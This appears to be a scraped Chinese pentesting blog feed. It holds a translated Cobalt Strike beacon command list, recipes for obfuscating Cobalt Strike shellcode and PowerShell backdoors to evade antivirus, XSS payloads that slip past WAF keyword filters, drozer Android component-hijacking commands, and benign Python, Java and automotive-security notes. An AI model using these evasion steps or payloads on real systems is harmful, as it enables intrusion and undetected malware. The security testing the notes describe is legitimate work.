    mimikatz                  运行mimikatz
    mkdir                     创建一个目录
    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http                 使用HTTP作为通信通道
    mv                        移动文件
    net                       net命令
    note                      备注      
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      Set parent PID forspawned post-ex jobs
    ps                        显示进程列表
    psexec                    Use a service to spawn asession on a host
    psexec_psh                Use PowerShell to spawn asession on a host
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    pwd                       当前目录位置
    reg                       Query the registry
    rev2self                  恢复原始令牌
    rm                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序(返回输出)
    runas                     以另一个用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      Execute a program underanother PID
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     cmd执行命令
    shinject                  将shellcode注入进程
    shspawn                   生成进程并将shellcode注入其中
    sleep                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     Spawn a session
    spawnas                   Spawn a session as anotheruser
    spawnto                  Set executable tospawn processes into
    spawnu                    Spawn a session underanother PID
    ssh                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件时间戳应用到另一个文件
    unlink                    Disconnect from parentBeacon
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM在主机上生成会话
    wmi                       使用WMI在主机上生成会话
    argue                      进程参数欺骗

]]> Cobalt Strike python批量解压 /2020/09/10/16/ CODE

import os
import shutil
import zipfile
import rarfile
 
# 首先引入需要的工具包
# shutil为后期移动文件所需
 
 
# 路径改这里！
parent_path = input('请输入要解压的文件路径：')
 
# 文件类型选择
file_flag = '.' + input('请输入一种需要解压的压缩类型（例：zip或rar）解压后会删除原有压缩文件，请注意备份：')
 
 
# 删除已解压过的文件
# 一定要先测试，不然很麻烦
def del_old_zip(file_path):
    os.remove(file_path)
 
 
# 解压
def zip_decompress(file_path, root):
    # 开始
    # zipfile打开zip文件
    z = zipfile.ZipFile(f'{file_path}', 'r')
 
    # 解压
    z.extractall(path=f"{root}")  # path为解压路径，解包后位于该路径下
 
    # 判断是否需要重复解包
    for names in z.namelist():
        if names.endswith(file_flag):
            z.close()
            return 1
 
    # 结束
    z.close()
 
    return 0
 
 
def rar_decompress(file_path, root):
    # 开始
    # rarfile打开rar文件
    z = rarfile.RarFile(f'{file_path}', 'r')
 
    # 解压
    z.extractall(path=f"{root}")  # path为解压路径，解包后位于该路径下
 
    # 判断是否需要重复解包
    for names in z.namelist():
        if names.endswith(file_flag):
            z.close()
            return 1
 
    # 结束
    z.close()
 
    return 0
 
 
decompress = None
if file_flag == '.zip':
    decompress = zip_decompress
elif file_flag == '.rar':
    decompress = rar_decompress
else:
    print('格式输入错误或不支持当前格式')
    os.system('pause')
    exit(0)
 
 
# 因为我在使用过程中发现有些文件解包后会混在一起
# 在平时大家手动解压时可能也会遇到提示是否覆盖的问题
# 下面的两个函数解决这一问题
 
# 开始要先创建一个大文件夹  与压缩包名字相同
# 避免后期混乱和麻烦
def start_dir_make(root, dirname):
    os.chdir(root)
    os.mkdir(dirname)
    return os.path.join(root, dirname)
 
 
# 去除多余文件夹
def rem_dir_extra(root, father_dir_name):
    # 递归要注意信息的正常处理  搞不好上一个调用已经改变了东西  而下面的调用还是使用之前的数据
 
    try:
 
        # 判断文件夹重名  开始
        for item in os.listdir(os.path.join(root, father_dir_name)):
 
            # 第一步判断是不是一个文件夹，如果不是则跳过本次循环
            if not os.path.isdir(os.path.join(root, father_dir_name, item)):
                continue
 
            # 判断是否要脱掉一层目录结构
            # 文件夹名字要相同，且子目录中只有单独的一个文件夹
            if item == father_dir_name and len(
                    os.listdir(os.path.join(root, father_dir_name))) == 1:
 
                # 改变工作目录
                os.chdir(root)
 
                # 将无用文件夹重命名，因为直接移动会有重名错误
                os.rename(father_dir_name, father_dir_name + '-old')
 
                # 移动文件后删除空文件夹
                shutil.move(os.path.join(root, father_dir_name + '-old', item), os.path.join(root))
                os.rmdir(os.path.join(root, father_dir_name + '-old'))
 
                # 将去掉一层目录结构后的文件夹继续作为父本递归处理下去
                # 这里要注意，上面已经发生过数据的改动，所以下面递归传参一定要正确！
                rem_dir_extra(root, item)
 
            else:
 
                # 处理那些不满足上面条件的文件夹
                rem_dir_extra(os.path.join(root, father_dir_name), item)
 
    except Exception as e:
 
        # 打印错误信息
        print("清除文件夹出错" + str(e))
 
 
# 入口
if __name__ == '__main__':
 
    flag = 1
 
    while flag:
 
        #  循环遍历文件夹
        for root, dirs, files in os.walk(parent_path):
 
            # 读取文件名
            for name in files:
 
                if name.endswith(file_flag):
                    # 创建文件夹
                    new_ws = start_dir_make(root, name.replace(file_flag, ''))
 
                    # zip文件地址
                    zip_path = os.path.join(root, name)
 
                    # 解压
                    flag = decompress(zip_path, new_ws)
 
 
                    # 一定要备份或先测试，不然可能会凉，自己选择修改
                    del_old_zip(zip_path)
 
                    # 去掉多余的文件结构
                    rem_dir_extra(root, name.replace(file_flag, ''))
 
                    print(f'{root}\\{name}'.join(['文件：', '\n解压完成\n']))
 
    # 由于解压可能解了好几次 所以可能会有已经解压好的父级目录重名无法处理 这里要再处理一次
    rem_dir_extra(os.path.split(parent_path)[0], os.path.split(parent_path)[1])
 
    print("解压完成啦，记得检查有没有{}格式之外的呀!\n\n其他格式需要自己改一下了".format(file_flag))
 
    os.system('pause')

在全量代码审计项目中经常会遇到开发把所有目录压缩的情况，这时候有这个就非常方便了，但是要注意一下解压之后会把压缩文件给删了，所以注意备份，用法

1	`python unzip.py`

原文件

效果

]]> python python小工具 lambda表达式示例 /2020/08/20/28/

  //return A(a,b,c -> {return B(d,c);});

public class Java8Tester {
   public static void main(String args[]){
      Java8Tester tester = new Java8Tester();

         //然后{return B(d,c);}相当于定义之后处理{ return a * b; };
      MathOperation multiplication = (int a, int b) -> { return a * b; };
      System.out.println("10 x 5 = " + tester.operate(10, 5, multiplication));
   }
    
         
       // 首先return A(a,b,c就相当于先定义了参数类型
       interface MathOperation {
         int operation(int a, int b);
      }
}

]]> JAVA JAVA C++后门免杀 /2020/08/18/9/ 详细介绍：

免杀项目推荐

简单用例

首先CS生成一个shellcode,然后混淆一下
先把\x都删了

0替换成*

再把剩下的倒序

打开项目，在FileItem.cpp里的第17行ch1函数内容替换成shellcode，然后计算shellcode字符数2，比如我的shellcode是1782个字符，2之后就是3564

不要调试，直接编译生成

上线

查杀

微步

]]> 免杀 cobalt strike后门免杀 python生成数字 /2020/08/10/25/

1
2
3

for i in range(0,10000000):
i=str(i)
print(i.zfill(7))#如果不要0001这种样式的话就改成1，就会从1开始

从0000000到10000000，在做越权和信息泄露测试时遍历id专用

]]> python python小工具 xss bypass小记 /2020/08/10/23/ 有时候waf会针对payload过滤onerror、alert等之类的关键字事件属性，或者把关键字事件替换成其他字符，单独的事件属性不会防护，这时候可以用换行来解决

1
2
3

<img src=1 
onerror 
=alert(1)

如果只单独针对alert做防护的话就可以用拼接的方式来绕过：

<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) >

]]> 漏洞挖掘 XSS绕过 OWASPTOP10漏洞 IDEA打包JAR包的两种方法 /2020/07/10/21/ 首先要了解一下在java中maven项目想要打包war或jar是取决于pom.xml中的标明，比如这是mave普通的java项目

这是javaweb的项目

今天记录一下idea打包jar包的两种方法

一、Maven Lifecycle

依次打开右上方的Maven - Lifecycle，按图中顺序执行

如果代码有错误，在进行到compile时会有报错，所以我们首先要确定代码无报错，也就是代码没有红线，比如这种：

全部错误排除完成后再运行一次，全部成功后就会在target目录生成一个jar包

二、Project Structure

在上述的方法中普遍会报错，出现类似找不到入口的情况

这时候就会用到Project Structure里的打包jar方法，会比较麻烦。
首先依次选择file-Project Structure-Artifacts,然后点击+，选From module with depenencies（empty麻烦一点，相当于自定义）

然后选择主类（程序入口），一般会默认给你列出来的

点击OK之后下面的META-INF就会亮起来，选一个META-INF文件存放的地方，一般都是在main目录下，跟java并排，我们直接在main下新建一个resources目录用来存放META-INF文件，最终就是这样：

点击OK之后就是这样子，然后再OK一次

然后依次选择Build-Artifacts

然后build

最后就会在你的项目目录里生成一个out目录，jar包就在里面

运行：

]]> JAVA JAVA IDEA cs免杀后门 /2020/07/10/8/ 用法：

1 2	`Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation`

设置cs生成的后门的路径

1	`set scriptpath D:\团队\tools\免杀\payload.ps1`

选择混淆模式，这里选string

选择混淆方式，这里选择1

输出1.ps1

附件：

Invoke-Obfuscation

]]> 免杀 cobalt strike后门免杀 App测试从0到精通（四大组件之activity组件篇） /2019/12/09/4/ 准备工具/环境

1.安装drozer
2.模拟器
什么模拟器都行，这里用到的是逍遥模拟器

0x01

首先做个端口转发

1	`adb forward tcp:31415 tcp:31415`

然后连接上模拟器上的控制台

1	`drozer console connect`

然后选择一个要日的app，一顿操作之后获得它的包名

1 2	`com.winsun.IntelligentMarketingAssistant，怎么获得包名请自行百度，drozer命令是 run app.package.list -f （安装后的app名称）`

或者到反编译后的AndroidManifest.xml文件找
首先查看有哪些组件开放：

1	`run app.activity.info -a 包名`

尝试调用一下io.dcloud.PandoraEntry

1	`run app.activity.start --component apk包名组件名`

出现这个提示是因为做了策略了，组件劫持漏洞不可利用，试试其他的

组件可以被越权调用且没有提示
也就是说除了可以在未登录状态下进行登录之后的操作（绕过登录）之外，还可以尝试利用可以越权的组件做钓鱼劫持：

监听刚刚可以调用且没有提示的组件后打开app：

全文结束，文末附我的心得
安卓测试笔记

]]> 安卓测试 app测试 python学习笔记day 2 -第一个扫描器 /2018/11/11/19/ 目录

一、扫描器的构思
二、实施
三、调试

一、扫描器的构思

打开文件-读取文件内容-匹配正则，判断是否存在关键字，存在则输出内容

二、实施

准备好漏洞文件：

为了让各个功能层次分明，以后好更新，决定每个漏洞都独立一个模块，新建一个index.py定义一个函数

def list_all_file(path):
  result = []
  a = os.listdir(path) #列出当前目录
  for i in a:
     if os.path.isdir(i): #循环，列出目录，如果还是目录那就继续列出
      e = os.path.join(path,i) #路径拼接
      result.extend(list_all_file(e))
     else:
       e = os.path.join(path,i)
       result.append(e)
   return result

然后正式开始，列出路径，过滤只留下php文件

1
2
3

a = list_all_file(path=r'.')
b = [i for i in a if i. endswith('.php')]
print(b)

效果图：

然后开始分类漏洞，新建info.py、sqlinject.py，用import导入：

1 2	`import sqlinject import info`

为了让回显带路径+文件，继续定义函数，sqlinject文件：

def list_all_file(path):
  result = []
  a = os.listdir(path) #列出当前目录
  for i in a:
     if os.path.isdir(i): #循环，列出目录，如果还是目录那就继续列出
      e = os.path.join(path,i) #路径拼接
      result.extend(list_all_file(e))
     else:
       e = os.path.join(path,i)
       result.append(e)
   return result

然后开始内容，打开读取匹配正则：

a = list_all_file(path=r'.') #把值存在a
b = [i for i in a if i. endswith('.php')] #遍历a，找出所有php文件
for c in b: #循环，打开所有php文件
  f = open(c)
  o = f.read()
  auditsql = re.search(r"\$GET_\['id'\]",o, re.I) #正则开始
  auditsql2 = re.search(r"\$POST_\['id'\]", o, re.I)
  auditsql3 = re.search(r"echo\s.+\$+\S.+\"",o,re.I)
  auditsql4 = re.search(r"\$+id", o, re.I)
  if auditsql:
    print('疑似存在SQL注入漏洞！请查看文件：'+c,'第行：'+auditsql.group(0)) # group(0)列出匹配到的正则，0或者()是默认列出所有
  if auditsql2:
    print('疑似存在POST注入漏洞！请查看文件：'+c,'第行：'+auditsql2.group(0))
  if auditsql3:
    print('疑似存在SQL注入漏洞！请查看文件：'+c,'第行：'+auditsql3.group(0))
  if auditsql4:
    print('疑似存在SQL注入漏洞！请查看文件：' + c, '第行：' + auditsql4.group(0))
  f.close()

效果图：

info文件：

def list_all_file(path):
  result = []
  a = os.listdir(path)
  for i in a:
     if os.path.isdir(i):
      e = os.path.join(path,i)
      result.extend(list_all_file(e))
     else:
       e = os.path.join(path,i)
       result.append(e)
  return result

a = list_all_file(path=r'.')
b = [i for i in a if i. endswith('.php')]
for i in b:
    f = open(i)
    u = f.read()
    auditinfo = re.search(r"phpinfo\(\)",u,re.I)
    if auditinfo:
      print('存在phpinfo信息泄露漏洞！文件：' +i, '第行：' + auditinfo.group(0))
    f.close()

效果图：

三、调试

总结

关于以下函数不太熟练

path
result
extend
append
endswith

]]> python python python学习笔记day 1 /2018/11/10/18/ 目录

一、python的基本语法
二、安装pycharm
三、第一个python程序

一、python的基本语法

1、赋值的时候值类型要跟变量类型一样，比如name = 12345，name是字符型，值是整数型，整数型要加引号变成字符型才可以赋值；
2、缩进后的代码为代码块(默认缩进4字符)，比如:

while pwd != '1':
    print('密码错误！请重新输入')
    name = input('please input your password:')
    pwd = name
print('登录成功')

3.循环语句不等于条件，先错后对，在错的后面可以重复执行，如上
4.input的使用：input()、调用第三方的使用：import *，模块的使用
5.文件的读写f = open()、f.read()、f.close()
6.转义常用符：原始字符：r、反斜杠：/，其他转义符：

二、安装pycharm

默认安装

三、第一个python程序

新建text.py，输入代码：

# -*- coding:utf-8 -*- #声明编码
name = input('please input your password:') #输入内容，把内容赋值给name
pwd = name #把name的值给pwd
while pwd != '1': #循环条件开始，判断pwd如果不等于1
    print('密码错误！请重新输入') #错误提示
    name = input('please input your password:') #重新输入
    pwd = name #把name的值给pwd，重新判断
print('登录成功') #成功信息
import test2 #导入test.py
新建test2.py，写入代码：
# -*- coding:utf-8 -*- #声明编码
import os,sys #导入系统库
import webbrowser #导入浏览器库
n = '123' #把123赋值给n
f = open("help.txt", "r+") #打开help.txt，给读写权限
f.write(n) #写入123
f.close() #关闭文件

运行结果：

第一天总结

1.记得编码
2.记得赋值跟变量类型要一样
3.记得区分大小写
4.记得不要用word跟txt写代码
5.读写文件时记得一定要close()
6.命令行可以一句一句的调试，但是不能保存
7.转义符r在第一个引号的前面

]]> python python

TARA是什么

TARA在UN R155中的定位和要求

TARA方法论

相关性判定

相关项判定

TARA开展

一、资产识别（Asset identification）

二、威胁场景识别（Threat scenario identification）

三、影响评级（Impact rating）

四、攻击路径分析（Attack path analysis）

五、攻击可行性评级（Attack feasibility rating）

六、风险值确定（Risk value determination）

七、风险处理决策（Risk treatment decision）

网络安全概念

Re-TARA

怎么做Re-TARA

结语

说明

最后

参考链接：

确定保护范围

影子认证帧ID分配规则

影子认证帧数据结构

算法和密钥管理

技术实现

发送端ECU实现

逻辑流程图如下

接收端ECU实现

逻辑流程图如下

示例

发送端：

发送端示例流程图

接收端：

接收示例流程图

总结

而且恶评还可以删

车都是怎么通信的？

车内CAN通信

早期的汽车控制

CAN总线

CAN高低

TIPS

CAN波特率

CAN报文

扩展帧和标准帧

报文识别

请求

响应

TIPS

CAN通信

TIPS

优先级

非破坏性仲裁机制

TIPS

外部接口

车载以太网通信

车内

DoIP

TIPS

车外

车云

TIPS

无线射频

TIPS

车的信息收集

需要接触车辆

不需要接触车辆：

车的攻击面

思路

其他

横向

Tips

案例

案例一

案例二

案例三

案例四

常用工具

Tips

最后